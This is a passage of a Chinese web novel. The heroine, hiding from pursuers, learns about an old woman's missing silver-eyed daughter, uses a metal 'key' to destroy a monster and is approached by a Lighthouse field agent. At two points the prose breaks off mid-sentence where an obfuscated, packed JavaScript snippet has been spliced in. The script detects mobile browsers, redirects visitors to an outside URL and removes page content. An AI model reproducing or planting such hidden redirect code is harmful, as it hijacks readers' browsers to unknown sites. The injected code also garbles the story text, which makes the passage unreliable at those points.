林晚照背靠着冰冷的砖墙,巷子穿堂风吹得她湿透的衣衫紧贴皮肤,寒意刺骨。手腕的伤口、透支的身体、仍在嗡鸣疼痛的大脑都在尖叫着让她立刻离开,找个安全角落舔舐伤口。但老太太的话,那张照片,像磁石一样吸住了她。 “您……认识她?”林晚照开口,声音沙哑得厉害,喉咙火烧火燎。 老太太没直接回答,而是警惕地左右张望了一下这条僻静肮脏的后巷,然后压低声音,语速很快:“这儿不是说话的地儿。姑娘,你要信我这个老婆子,就跟我来。你要是怕……”她顿了顿,看着林晚照一身狼狈和掩不住的惊惶,“看你这样,从那‘鬼楼’里挣条命出来也不容易。我那儿,起码有口热水,有块干爽地方。” 是陷阱吗?这个老太太出现得太巧。但她眼里的情绪不像作伪,那种底层小民特有的、对“官家”或“古怪”事物既怕又忍不住窥探、还带着点同病相怜的复杂心态,林晚照在红星公社见过太多。 更重要的是,林晚照现在没有更好的选择。她重伤力竭,对省城两眼一抹黑,“锚点”的干扰不知能持续多久,追兵可能随时出现。这个看似不起眼的老太太,或许是一条意想不到的线索,一个暂时的避风港。 赌一把。 “……麻烦您了。”林晚照艰难地点头,努力想站直身体,却眼前一黑,踉跄了一下。 老太太立刻上前一步,瘦骨嶙峋却意外有力的手臂撑住了她。“撑着点。”她简短地说,另一只手迅速将照片揣回怀里,挎起竹篮,搀着林晚照,熟门熟路地拐进旁边一个更窄的、堆满破木板和废砖头的缝隙。 七拐八绕,穿过迷宫般的违章建筑和堆积如山的城市废料,她们来到了棚户区深处一间低矮的砖石小屋前。屋子是用旧砖、木板和油毡布胡乱搭建的,挨着一堵高大的工厂后墙,极不起眼。门前一小块泥地扫得还算干净,晾着几件打满补丁的旧衣裳。 老太太掏出钥匙打开那扇吱呀作响的木门,一股混合着劣质煤烟、陈旧物品和某种淡淡草药味的气息扑面而来。 屋里比外面看起来更窄小昏暗,只有一扇糊着报纸的小窗透进光。但收拾得异常整齐。一张木板床,铺着洗得发白的旧床单;一个瘸腿的方桌,上面放着搪瓷缸和竹壳暖水瓶;一个旧碗柜;墙角堆着些捡来的、分门别类放好的破烂。最显眼的是靠墙的一个小木龛,里面供着一尊模糊的观音瓷像,前面有个小香炉,里面没有香,却摆着几颗干净的、圆润的小石子。 “坐床上。”老太太把林晚照扶到床边,转身麻利地插上门闩,又拉上了一块厚重的旧布帘遮住小窗。屋里顿时更暗了,只有门缝和帘子边缘漏进几缕光。 她掀开床尾一个旧木箱,从里面翻出一个小布包,打开是干净的旧布条、一小瓶深棕色的药酒、还有一小包用油纸包着的、看起来像草药膏的东西。 “手。”老太太不由分说拉过林晚照受伤的左手腕,看到那被粗糙布条草草包扎、已经被血浸透的伤口,眉头皱紧了。“造孽哟……”她嘴里低声叨咕着,手上动作却稳当利落。她用温水(从暖水瓶倒出,兑了点凉水)小心擦洗伤口周围的血污,露出那道被金属片划出的、皮肉翻卷的伤口。 林晚照咬着牙,没吭声。伤口很疼,但老太太的手法比她自己胡乱包扎专业得多。 清洗干净,老太太打开那瓶药酒,浓烈刺鼻的气味散开。“这酒劲大,杀毒,疼也得忍着。”说着,用一块干净布蘸了药酒,轻轻涂抹在伤口上。 火辣辣的剧痛传来,林晚照倒抽一口冷气,身体绷紧。老太太手下不停,嘴里却念叨着分散她注意力:“我那闺女……当年也是,总带着伤回来。问她,也不说。就那双眼睛,亮得吓人,又好像总是很累……” 药酒涂完,她又敷上那层黑乎乎的草药膏,清凉感稍稍缓解了灼痛,然后用干净的布条重新仔细包扎好。 “身上还有别的伤不?”老太太问。 林晚照摇摇头,主要是脱力和精神透支。老太太打量了她一下,从碗柜里拿出一个粗瓷碗,倒了大半碗热水,又从一个隐秘的小罐子里舀了小小一勺红糖放进去,搅匀,递过来。 “喝了,暖暖身子,补点力气。瞧你脸白的。” 红糖水滚烫,甜滋滋的热流顺着喉咙滑下,确实让冰冷的四肢恢复了些许知觉。林晚照捧着碗,小口喝着,目光不由自主地又飘向老太太怀里——照片就在那里。 老太太注意到了她的目光,沉默了片刻,叹了口气,重新掏出那张照片,但没有立刻递过来,而是用粗糙的手指轻轻摩挲着照片上的人脸。 “这是我闺女,小云。二十年前……捡到的。”老太太开口,声音沉缓,陷入了回忆,“就在那边,‘鬼楼’……那时候还不叫鬼楼,是叫什么研究所的后墙根。下着大雨,她就那么躺在水洼里,浑身滚烫,昏迷不醒,身上就裹着块破布。眼睛……就是这样的。” 她指了指照片上的银灰色瞳孔。“我们这片的赤脚医生说,从没见过这样的眼睛,怕是得了啥怪病,劝我别沾手。可我那会儿刚没了自己的孩子,心软,就把她抱回来了。没想到,她命硬,烧了三天三夜,愣是挺过来了。醒了,不记得自己是谁,从哪来,多大。我就给她起了个名,叫小云,当亲闺女养。” 林晚照的心跳加快了。二十年前,研究所后墙,银瞳,失忆……时间和地点都对得上蕾拉(037号)可能的“投放”或“失联”节点! “后来呢?”她忍不住追问。 “小云很乖,也聪明,学什么都快。”老太太脸上露出一丝怀念的笑容,“就是……有点‘不一样’。她力气比一般姑娘家大得多,眼神有时候特别‘利’,好像能看透很多东西。还不怕冷不怕热,受了伤也好得特别快。街坊邻居渐渐就有了闲话,说她是‘妖瞳’,是不祥之人。再加上……”老太太压低了声音,“那研究所的人,后来好像也在暗中打听有没有眼睛特别的孩子。我害怕,就带着她搬了好几次家,最后躲到这片棚户区来。” “那她现在……”林晚照屏住呼吸。 老太太的笑容消失了,眼神黯淡下去,布满皱纹的手微微颤抖。“十年前,她十八岁那年,还是……不见了。”声音哽咽了一下,“头天晚上还好好的,说要去城西给人做衣裳(她手巧,会裁剪),第二天就没回来。我找遍了,报了街道,都没消息。就像……就像被这城市吞了一样。” 屋里陷入沉默,只有老太太压抑的抽泣声和林晚照自己的心跳声。十年……时间也对得上。蕾拉(037号)在1972年于云南“失联”,如果“小云”就是蕾拉某个时期的身份或伪装,那么十年前(1965年左右)的失踪,可能是她“任务”的开始或转折? “您怎么确定……她是去了那‘鬼楼’?”林晚照问。 老太太擦擦眼睛,从怀里又摸出一样东西——一个很小的、扁平的银灰色金属片,边缘光滑,没有任何纹路或字样,只有中心有一个极细微的凹点。“这是小云不见后,我在她枕头底下找到的。不是咱家的东西。我偷偷拿给当年一个在旧货店见过世面的老伙计看,他摸了半天,说这玩意儿……不像咱这边能做出来的东西,沉,凉,怪得很。他还说……早年那研究所没封的时候,他好像见过穿白大褂的人,身上戴着类似的牌牌。” 林晚照接过金属片。触手冰凉,质地非金非铁,很轻,却有种奇异的致密感。她集中精神,试图感应——什么也没有。不是“锚点”,但显然也不是普通物件。 “这些年,我总觉得小云没死。”老太太抬起头,眼里燃着一丝固执的、母亲特有的微光,“我时不时去那‘鬼楼’附近转悠,捡破烂是幌子,我就想看看,有没有她的踪迹……有没有人知道‘银眼睛的姑娘’。直到今天,看到你从那里出来……”她盯着林晚照,“姑娘,你老实告诉我,你在那里面,有没有见过……见过我闺女?哪怕……哪怕只是听说?” 那双苍老的眼睛里,充满了绝望中最后一丝希冀的灼烫。林晚照喉咙发紧。她见过蕾拉,就在几小时前,在那墨黑的液体中,被黑色丝状物缠绕,承受着难以想象的痛苦。可她能说吗?告诉这位苦苦寻找女儿十年的老人,她女儿可能正生不如死,甚至……可能早已不是当初那个“小云”了? “我……”林晚照张了张嘴,话堵在喉咙里。 就在这难言的沉默时刻,她左手腕上,那沉寂了片刻的银镯,毫无征兆地,再次传来一阵微弱的、但异常清晰的震动! 不是之前警报或干扰的尖锐感,而是另一种……规律的、仿佛心跳般沉稳的脉动。与此同时,沉寂的意识深处,树苗那几乎熄灭的光核,也极其微弱地、同步地跳动了一下! 紧接着,林晚照“看”到(或者说感知到)了一幅极其短暂、模糊的画面:不是来自树苗,更像是……银镯本身残存的、被刚才能量冲击后偶然激活的某种记录回放? 画面中,是一个纯白色的房间(不是“灯塔”那个),一个穿着银灰色连体制服、银色短发的年轻女子(蕾拉!)正将一块银灰色的金属片(和老太太手中这块几乎一样!)贴合在一个躺在平台上的、昏迷不醒的少女额头。少女面容模糊,但手腕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16896030|191601||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上……赫然戴着一只银镯,龙凤纹路正在缓慢地、初次地亮起微光! 画面闪灭,快得如同错觉。 但林晚照浑身血液都几乎凝固了! 那个昏迷的少女……是她?那是她被“投放”前的场景?蕾拉(037号)亲手为她“安装”或“激活”了“锚点”银镯?!而那块金属片……是某种操作工具或身份标识? “姑娘?你怎么了?”老太太察觉到她脸色骤变,关心地问。 林晚照猛地回过神,压下心中的惊涛骇浪,看向老太太手中的金属片,又看向老太太满是期盼的脸。 一个大胆的、近乎荒诞的猜测在她心中成形:老太太可能不只是蕾拉(小云)的养母那么简单。这块金属片,可能是蕾拉留下的、带有她某种生物信息或权限的“钥匙”或“信物”。而老太太这十年如一日的守望,或许并非完全无用…… “阿婆,”林晚照的声音因为激动和虚弱而微微发颤,“我……我在里面,没有亲眼见到您闺女。但是……” 她停顿了一下,选择了一个模糊但留有希望的说法:“我听到一些事,关于一个……有银色眼睛的人。她还活着,只是……处境很不好,被困住了。我需要想办法救她。” 老太太的眼睛瞬间瞪大了,枯瘦的手猛地抓住林晚照没受伤的右手腕,力气大得惊人。“真的?!她还活着?!她在哪?要怎么救?老婆子我拼了这条命……” “阿婆,您别急。”林晚照安抚地拍拍她的手,目光落在那块金属片上,“救她需要从长计议,需要……一些特殊的东西,和方法。您捡到的这个‘牌牌’,可能非常非常重要。您能……把它借给我吗?还有,告诉我更多关于小云……关于您闺女过去的事,任何细节都好,特别是她有没有留下什么特别的话,或者……有什么特别的地方?” 老太太毫不犹豫地将金属片塞进林晚照手里:“拿去!只要能救小云,什么都拿去!”她急切地回忆起来,“特别的话……她总说,要是哪天她不见了,别找她,说她有自己必须做的事……还说过,如果有一天,遇到‘跟她是同类’的人,就把这个牌牌交给那人……我一直不懂什么叫‘同类’,直到看到你从那里出来……” 同类……是指其他观测员?蕾拉早就预感到可能会有这一天,给养母留下了提示和信物? 林晚照握紧了那块冰凉的金属片。就在这时,银镯的脉动再次传来,这次,与金属片接触的掌心,似乎也产生了一丝极其微弱的、共振般的温热感。 仿佛验证了她的猜测。 突然—— “砰!砰!砰!” 粗暴的砸门声猛地响起!木门被砸得剧烈晃动,灰尘簌簌落下。 一个粗嘎的、带着浓重本地口音的男声在门外吼道:“王婆子!开门!街道革委会查夜!有人举报你这里藏了来历不明的可疑分子!” 老太太脸色瞬间煞白。 林晚照的心猛地沉到谷底。追兵?还是真的街道检查?怎么会这么快?! “快!从后窗走!”老太太反应极快,一把拉起林晚照,指向房间角落一个用旧木板钉着、糊了报纸的矮小窗户,“撬开木板,后面是煤堆,翻过去就是铁路边的荒地!快!” 砸门声更急了,还伴随着脚踹的声音。 林晚照知道不能再犹豫。她将金属片紧紧攥在手心,看了一眼这个刚刚给予她短暂庇护和惊人信息的老太太。 “阿婆,您……” “别管我!我一个老婆子,他们能把我怎样!快走!救小云!”老太太几乎是把她推向窗口,自己则转身,深吸一口气,朝着门口走去,嘴里故意大声应着:“来了来了!谁呀?大晚上的……” 林晚照用尽最后的力气,抠住那扇小窗边缘腐朽的木板,用力一掰! “咔嚓!”木板松动。 她回头最后看了一眼老太太挺直却单薄的背影,然后,咬牙钻出了那狭窄的窗口,落入外面冰冷的、堆满煤灰的黑暗之中。 身后,传来木门被撞开的巨响,以及老太太拔高了嗓音的、带着市井泼辣味的叫嚷:“哎哟!你们干什么?私闯民宅啊!还有没有王法了!” 声音迅速被寒风和距离拉远。 林晚照深一脚浅一脚地跑在煤堆和废料之中,朝着更深的黑暗和远处隐约的铁轨轮廓奔去。 左手心,那块金属片紧贴着皮肤,冰凉,却仿佛带着一丝微弱的、来自蕾拉(小云)的暖意。 右手腕上,银镯的脉动与金属片的微弱共振,像黑暗中无声的密码。 她知道,自己握住的,可能不仅仅是一件信物。 而是一把钥匙。 一把可能打开“育种”真相、通往蕾拉过去、甚至……可能反制“锚点”的钥匙。 只是,追捕的网,正在迅速收紧。 44.锈链与旧时 那呜咽声不似犬吠,更非人声,像是生锈的铁片在朽木上反复刮擦,又夹杂着湿重的、破风箱般的喘息。两盏绿光在黑暗中幽幽亮起,没有瞳孔,只是纯粹的光斑,却散发着毫不掩饰的、冰冷黏腻的饥饿感。 林晚照浑身的血液似乎在这一瞬间冻结了。她背靠着一截废弃的水泥管,右手死死攥着那块金属片,左手下意识地按住手腕上微微震动的银镯——不是警报,是某种更深层的、近乎本能的战栗。树苗在她意识深处沉寂如死,之前的能量爆发和重创让它陷入了彻底的休眠,无法给她任何警示或帮助。 “清道夫”。博士释放的猎犬。 铁链拖曳的声音近了,伴随着重物碾过碎石和荒草的窸窣。那东西的轮廓在远处城市边缘微光的映衬下,逐渐清晰——那不是一个整体,更像是……用废弃金属、动物骸骨、乃至腐败□□胡乱拼凑起来的畸形之物!约莫有半人高,躯干部分是一截粗大的、锈迹斑斑的蒸汽管道,下方延伸出几条粗细不一、以诡异角度扭曲的金属节肢,支撑着它不稳地移动。一颗类似犬类但严重变形、裸露着部分金属头骨的头颅上,镶嵌着那两盏绿光。它的“脖颈”和关节处,缠绕着粗黑的、不断滴落暗红粘液的锁链,粘液所过之处,枯草迅速焦黑萎缩。 这绝非自然造物,甚至不像这个时代应有的科技产物。它是被强行催生、用时空能量和生物技术扭曲出来的怪物,专门用来追踪和清除“异常”。 林晚照屏住呼吸,将身体尽可能缩进水泥管的阴影里。肾上腺素在疯狂分泌,暂时压过了身体的疲惫和伤痛,感官变得异常敏锐。她能闻到风中传来的浓重铁锈味、腐肉味和一种奇特的、类似臭氧的腥气。能听到那东西低沉呜咽中夹杂的、金属关节摩擦的细碎声响。 跑?以她现在的状态,在这片开阔的铁路荒地上,跑不过那几条金属节肢。 躲?这水泥管未必能完全遮掩她的气息,那东西显然有特殊的追踪方式——很可能是针对“锚点”信号或共生体能量残留的“嗅觉”。 战?手无寸铁,力竭重伤,面对这样一个非人的怪物,毫无胜算。 绝境。似乎比在实验室时更加令人绝望。 就在那“清道夫”的绿光扫向她藏身的水泥管方向,呜咽声陡然变得急促,锁链拖动声加快的刹那—— 林晚照左手紧握的金属片,突然毫无征兆地变得滚烫! 不是银镯那种带着恶意的灼痛,而是一种温热的、仿佛被激活的暖流,瞬间从掌心扩散至整条手臂,甚至稍稍缓解了手腕伤处的剧痛。与此同时,一段破碎的、极其鲜明的画面,如同被这热度直接烙进她的脑海: 同样是黑夜,荒郊。年轻许多的蕾拉(小云)银发沾着血迹和泥土,正半跪在地,徒手将一块类似的金属片,狠狠插入面前一个剧烈抽搐的、由血肉和藤蔓扭曲成的怪物核心。怪物发出凄厉的尖啸,化作飞灰。蕾拉喘着粗气拔出金属片,对着黑暗的夜空低语:“……第三十七个‘错误播种点’清理完毕。母本‘钥匙’能量消耗17%……必须更快找到所有‘遗蜕’……” 画面戛然而止。 “钥匙”!母本“钥匙”!清理“错误播种点”!“遗蜕”! 这几个词如同惊雷,在林晚照混乱的思绪中炸开。金属片不仅仅是信物,它是“钥匙”,是蕾拉(037号)曾经用来清除某种“错误播种点”(是否就是“捕猎者”的早期实验场?)的工具!而她最后提到的“遗蜕”……会不会就是指像博士那样、脱离“灯塔”控制、私自进行“育种”实验的叛逃者或分支? 如果这金属片真是“母本钥匙”,哪怕能量可能已经消耗大半,它是否……也能对眼前这个博士制造的“清道夫”产生作用? 没有时间验证了!“清道夫”已经发现了她!那颗畸形的头颅转向水泥管,绿光大盛,发出一声混合着金属摩擦和嗜血兴奋的尖利嘶鸣,几条金属节肢猛地蹬地,带着锈链的哗啦声,如同一团污秽的钢铁风暴,直扑而来! 腥风扑面! 林晚照在最后一刻做出了决断。她没有试图躲避那迅猛的扑击,反而在千钧一发之际,猛地从水泥管后冲出,不是后退,而是朝着“清道夫”扑来的方向,迎面而上,同时将全身力量、连同金属片传来的那股温热暖流,尽数灌注于右手,狠狠地将金属片尖端,刺向那怪物躯干中央、锈蚀管道上一处隐约能看到黯淡能量流动的缝隙! 她在赌!赌这金属片对“错误”造物的克制!赌蕾拉留下的武器,能对抗博士制造的怪物! “嗤——!!!” 一声令人牙酸的、仿佛烧红铁块插入冰水的声响爆开! 金属片尖锐的一端毫无阻碍地刺入了锈蚀管道的缝隙,深深没入!没有遇到坚硬的金属阻力,反而像是插进了某种粘稠的、腐败的胶质中。 时间仿佛凝滞了一瞬。 “清道夫”扑击的势头猛地僵住,那两盏绿光疯狂闪烁,发出刺耳欲聋的、充满痛苦和难以置信的尖啸!它躯干上被刺入的部位,骤然亮起耀眼的、不稳定的银白色光芒,与金属片本身的微光激烈碰撞、交融!那些缠绕的黑色锁链剧烈颤抖,暗红粘液如同沸腾般“咕嘟”冒泡,迅速蒸发成腥臭的黑烟。 怪物的金属节肢胡乱挥舞,刮擦地面发出刺耳噪音,试图将林晚照甩开或撕碎。但林晚照死死握着金属片,整个人几乎挂在怪物身上,凭借着一股悍不畏死的狠劲,将金属片更用力地往深处拧转!她能感觉到,金属片正在疯狂抽取着怪物体内某种混乱而邪恶的能量,同时它自身也在变得滚烫,仿佛在净化、在湮灭。 “嗷——呜——”怪物的嘶鸣迅速衰弱下去,绿光黯淡,金属躯干开始出现蛛网般的裂纹,银白与污秽的光芒在其中明灭挣扎。那些拼凑的骨骼和腐肉部分迅速干瘪、炭化。 终于,伴随着一声沉闷的爆裂声和最后一点绿光的熄灭,这扭曲的怪物彻底瘫软下来,化为一大摊冒着青烟、迅速冷却的金属残渣和灰烬。只有那几条黑色的锁链还算完整,但也失去了光泽,散落在地。 林晚照脱力地松开手,踉跄后退几步,跌坐在地,剧烈地喘息。右手掌心被金属片烫得通红,起了水泡,但金属片本身依旧冰凉,只是表面的微光彻底熄灭了,变成了普通的哑光灰色。刚才那一下,似乎耗尽了它残余的最后一点能量。 她活下来了。用蕾拉留下的“钥匙”,摧毁了博士的“清道夫”。 但危机远未解除。刚才的动静不小,可能已经惊动了附近的追兵,或者……引来了别的“清道夫”。 她必须立刻离开这里。 强撑着虚弱的身体站起来,林晚照的目光落在那堆残骸中。除了锁链,还有一样东西在灰烬中微微反光——那是一个约莫怀表大小、已经严重变形但依稀能看出精密结构的金属部件,似乎是那怪物体内的某种核心或控制器。 她犹豫了一下,还是用脚拨开灰烬,捡起了那个残破的部件。入手沉重,边缘锋利,表面刻着一些她看不懂的、非中文非英文的奇异符号,其中几个扭曲的图形,竟与博士控制器上的符号有几分相似。 或许……郑卫国会认识这东西?或者能从中分析出什么? 她将残破核心塞进怀里,又把那几条失去活性的黑色锁链也捡起几段——这些东西材质特殊,也许也有用。最后,她看了一眼手中已变得平凡的金属片,还是郑重地将其贴身收好。这“钥匙”虽然能量耗尽,但其本身的意义非凡。 辨明方向(依靠远处城市隐约的轮廓和铁轨延伸),林晚照拖着伤痕累累的身体,再次没入更深的黑暗,朝着远离城市中心、铁路延伸向远郊的方向走去。她不能回城,那里是博士和李明的势力范围。她需要找一个更隐蔽、更远离人烟的地方,处理伤口,恢复体力,然后……想办法联系郑卫国,或者找到其他出路。 荒凉的铁路沿线,只有冷风呼啸和偶尔远处传来的、沉闷的火车汽笛声。她深一脚浅一脚地走着,避开可能有人的道班房或小站,专挑杂草丛生、路基破损的偏僻地段。体力在飞速流逝,失血和寒冷让她视线开始模糊,每一次呼吸都带着肺部的刺痛。 不能倒下……至少……不能倒在这里…… 就在她感觉快要支撑不住时,前方铁路转弯处,出现了一个黑黢黢的、像是废弃已久的桥洞。桥洞一侧的砖石护坡坍塌了大半,形成一个勉强可以容身的凹陷。 就是那里了。 林晚照用尽最后力气,挪到那个凹陷处。里面堆着些枯草和垃圾,但好歹能挡些风。她蜷缩进去,背靠冰冷潮湿的砖墙,剧烈地发抖。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16896031|191601||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她先检查了左手腕的伤口。老太太包扎得很好,草药膏似乎有奇效,血已经止住,肿胀也消了些,只是依然疼得钻心。她重新紧了紧布条。身上的擦伤和淤青无数,但暂时顾不上了。 她从怀里摸出那块残破的金属核心,借着极其微弱的月光(云层缝隙中漏下的一丝),仔细查看上面的奇异符号。符号排列似乎有某种规律,带着一种冰冷、精密、非人的美感。看着看着,她忽然觉得有些眼熟……不是在博士控制器上,而是在……更早的时候? 她闭上眼睛,努力回忆。是在郑卫国的笔记里?不,好像更早……是在……“灯塔”那个纯白房间?蕾拉(监察长形态)向她展示星图时,某些界面上似乎有过类似的纹路?还是……在裂缝中看到的、那些来自未来的杂乱信息碎片里,某个一闪而过的科技标识? 无法确定。但可以肯定,这符号体系不属于1975年,甚至可能不属于她所知的任何一个时代的主流科技树。 她收起核心,又拿出那几段黑色锁链。锁链材质非铁非钢,冰凉柔韧,却异常坚固,表面有着细微的、仿佛天然生成的螺旋纹路。她用指甲用力刮了刮,纹路毫无变化。试着将其靠近左手腕的银镯——没有任何反应。靠近已失效的金属片——也没有反应。 最后,她将目光投向自己左手腕的银镯。经历了连番冲击,它表面的龙凤纹路似乎黯淡了些许,但依然稳固。此刻它不再发烫或震动,只是静静地套在那里,像一个华丽而讽刺的囚环。 “育种者”……“果实”……“收割”…… 博士的话再次在耳边回响。如果她真是被“培育”的,目的何在?只是为了得到一个与共生体稳定结合的样本?蕾拉作为“繁育者”,又扮演了什么角色?她是被迫的,还是……参与者?那个银镯,除了定位和控制,是否还藏着别的功能?比如……数据收集?甚至……潜移默化的“引导”? 细思极恐。 她想起自己在红星公社的种种“灵光一现”——改良养猪技术、发现灵泉妙用、甚至下意识避开某些风险……有多少是源于自己的智慧和生存本能,有多少可能是被预设好的“程序”或“引导”? 不。她猛地摇头,将这个令人窒息的念头强行压下。无论起源如何,她是林晚照。她在红星公社流下的汗是真的,看到的笑容是真的,许下的承诺是真的。树苗依偎在她意识里的温暖是真的。这就够了。 当务之急,是活下去,救出蕾拉,弄清楚真相,然后……毁了那个实验室,毁了“捕猎者”和博士的阴谋! 想到这里,她心中重新燃起一团火。她靠着砖墙,闭上眼睛,尝试用郑卫国笔记里最基础的冥想方法,引导微弱的呼吸,平复紊乱的心跳和精神,同时试图感知体内残存的、哪怕一丝一毫的能量,去温养沉寂的树苗,也修复自身的创伤。 时间在寒冷和寂静中缓缓流逝。不知过了多久,就在她昏昏沉沉、介于半睡半醒之间时—— “沙沙……沙沙……” 极其轻微、却近在咫尺的脚步声,踩在碎石和枯草上,从桥洞外的铁路路基方向传来! 不是火车,不是动物! 林晚照瞬间惊醒,全身肌肉绷紧,屏住呼吸,右手悄悄摸向了怀中那段最尖锐的黑色锁链碎片。 脚步声在桥洞口停住了。 一个压低了的、带着犹豫和试探的男声,轻轻响起,用的是略带外省口音的普通话: “里面的同志……你还好吗?我……我没有恶意。我闻到血的味道,还有……一点‘特别’的能量残留。你……是不是刚从城里逃出来?” 这个声音……有点耳熟。但不是李明,不是博士,也不是郑卫国。 林晚照的心提到了嗓子眼。是谁?追兵的新花样?还是……另一股势力? 她紧紧攥着锁链碎片,没有出声。 外面的人等了一会儿,似乎叹了口气,声音更轻了,却说出了一句让林晚照几乎跳起来的话: “如果你认识一个叫‘郑卫国’的人……或者,你手腕上有个不太一样的镯子……请相信我。我是……‘灯塔’外勤回收部,编号055。我接到038号(郑卫国)的紧急求援信号和坐标残留,奉命前来接应一名……‘携带关键信物的高风险观测员’。” 45.桥洞下的信任博弈 055号的声音在桥洞外落下,每一个字都像细密的冰针,扎进林晚照紧绷的神经。“灯塔”外勤回收部?奉命接应?郑卫国的求援信号? 她的第一反应是陷阱。博士的伎俩,李明的伪装,用更“专业”、更“可信”的说辞,诱她这个惊弓之鸟出洞。她蜷缩在凹陷的阴影里,右手死死攥着那段冰冷锋利的锁链碎片,左手按在怀中那几件烫手的“证据”上——失效的金属片、残破核心、还有手腕上沉默的银镯。心跳如擂鼓,在胸腔里撞击着疼痛和虚弱的回音。 洞口外的人没有强行闯入,也没有再靠近。只有呼啸的寒风卷着铁轨沿线的沙尘,偶尔有远处夜鸟凄厉的啼叫。这种克制的等待,反而更让人不安。 “我知道你在里面,而且伤得不轻。”055号的声音再次响起,比刚才更平稳,带着一种执行任务者特有的、去除了多余情绪的冷静,“你的能量特征很不稳定,有共生体沉寂的迹象,还有‘锚点’的强制激活动荡残留。更重要的是,这附近有‘清道夫’被彻底净化湮灭的痕迹——用的是高权限‘母本钥匙’的手法。这在当前情况下,几乎是唯一能证明你身份和处境的东西。” 他说出了“母本钥匙”。这个从蕾拉记忆画面中得来的词,除了她自己和可能已落入敌手的蕾拉,理论上不该有第三方知道,除非……他真是“灯塔”的人,而且权限不低。 林晚照的指尖微微一动。可信度提高了一分,但依然可能是更高明的骗局。 “郑卫国……”她终于开口,声音沙哑干涩, deliberately 只说半句,“他怎么联络你的?” “紧急脉冲编码,通过‘灯塔’专用中继频段,消耗了他随身应急信标90%的能量,只能发送一次,且无法定位具体发送者,只能划定大致区域。”055号回答得很快,显然预料到会有此一问,“编码内容经过三重加密,核心信息是:高风险观测员074号已触发‘遗蜕’相关关键信物,正被‘捕猎者’主力及‘博士’追捕,坐标残留于省城西郊铁路沿线,急需接应并转移至‘安全屋’。” 信息高度吻合。尤其是“遗蜕”这个词,再次从第三方口中得到印证。 林晚照的心稍稍落下一分,但警惕丝毫未减。“你怎么证明你是055号?‘灯塔’的人,为什么会这个时候出现在这里?省城不是‘捕猎者’的地盘吗?” “证明……”055号似乎沉吟了一下,“我无法提供实体证件,那在潜入敌占区时是累赘和风险。但我可以告诉你,‘灯塔’外勤回收部的核心职责之一,就是搜寻并回收流落在外的‘母本钥匙’碎片,以及处理因‘遗蜕’实验泄露造成的时空污染和异常造物——比如你刚刚干掉的那个‘清道夫’。至于我为什么在这里……” 他顿了顿,声音压低了几分,带上了一丝不易察觉的凝重:“038号(郑卫国)的求援信号是原因之一。更重要的是,大约七小时前,‘灯塔’设在华东地区的三个隐蔽监测点,同时探测到省城方向爆发了异常的、高强度的‘遗蜕’能量共振。这种共振,通常意味着某件重要的‘遗蜕’相关物品被激活,或者……某个重要的‘遗蜕’实验场发生了剧变。总部判断这里可能出现了重大变故,派遣了包括我在内的数个外勤小组秘密潜入探查。我负责西郊方向。” 七小时前……那差不多就是她激活金属片(母本钥匙)摧毁“清道夫”的时间!能量共振能被远处监测到?这金属片或者说“母本钥匙”的来头和重要性,恐怕远超她的想象。 “你一个人?”林晚照问。 “接应任务通常由单人或双人小组执行,以降低暴露风险。”055号回答,“我的搭档在另一区域排查。目前看来,我的方向是对的。”他的语气里没有得意,只有陈述事实的平淡。 林晚照的大脑在飞速权衡。跟这个人走,风险巨大。他可能是“捕猎者”伪装的终极陷阱。但留下,同样致命。她重伤力竭,树苗沉寂,“锚点”信号虽然暂时紊乱但随时可能被博士重新捕捉或利用共振追踪,更别提博士已经派出了“蜂群”(如果055号所言不虚)。留在这里,等到天亮,或者被“蜂群”搜索到,只有死路一条。 赌,还是不赌? 她想起蕾拉在培养舱中最后那个“跑”的口型,想起老太太塞给她金属片时眼中的决绝,想起红星公社那些等着她的人……她必须活下去,带着这些信息和希望活下去。 “我怎么知道,你不是‘捕猎者’假扮的?‘博士’很可能也知道‘母本钥匙’和‘遗蜕’这些词。”她抛出最后一个,也是最关键的问题。 洞口外沉默了片刻。然后,055号做了一件出乎意料的事。 他向前走了几步,脚步清晰,停在了桥洞入口光线勉强能照到一点边缘的地方。他没有试图探头看进来,而是伸出手——一只戴着黑色半指战术手套、沾着灰尘和少许草屑的手,手腕上没有任何饰品,只有一道陈旧的、像是严重烧伤留下的狰狞疤痕。 他将那只手摊开,掌心向上。 然后,林晚照感觉到,自己左手腕上沉寂的银镯,忽然极其微弱地、几乎难以察觉地震动了一下!不是之前的警报或干扰,而是一种……轻微的、带有特定频率的共鸣! 与此同时,055号摊开的手掌上方,空气微微扭曲,浮现出一个极其黯淡、只有巴掌大小、由无数细微光点构成的复杂立体徽记——那徽记的样式,林晚照在“灯塔”纯白房间里,蕾拉展示“灯塔”标志时见过简化版,但眼前这个更复杂,核心是一个散发着稳定微光的塔形,周围环绕着细密的、代表不同时空流的光带,最外层则是一圈荆棘般的防御性纹路。 徽记只维持了不到三秒,便悄然消散。055号的手也收了回去,他的呼吸声略微加重了一些,显然维持这个徽记消耗不小。 “这是‘灯塔’外勤人员高阶身份识别码,与‘锚点’信标有基础共鸣协议,且无法被‘遗蜕’技术模拟。”055号的声音带着一丝疲惫,但很清晰,“我能做的证明只有这么多了。信不信,由你。但我必须提醒你,根据能量残留分析,‘蜂群’的搜索波前预计在二十分钟内覆盖这个区域。它们对‘母本钥匙’激活后的特殊能量余波非常敏感。” 二十分钟。 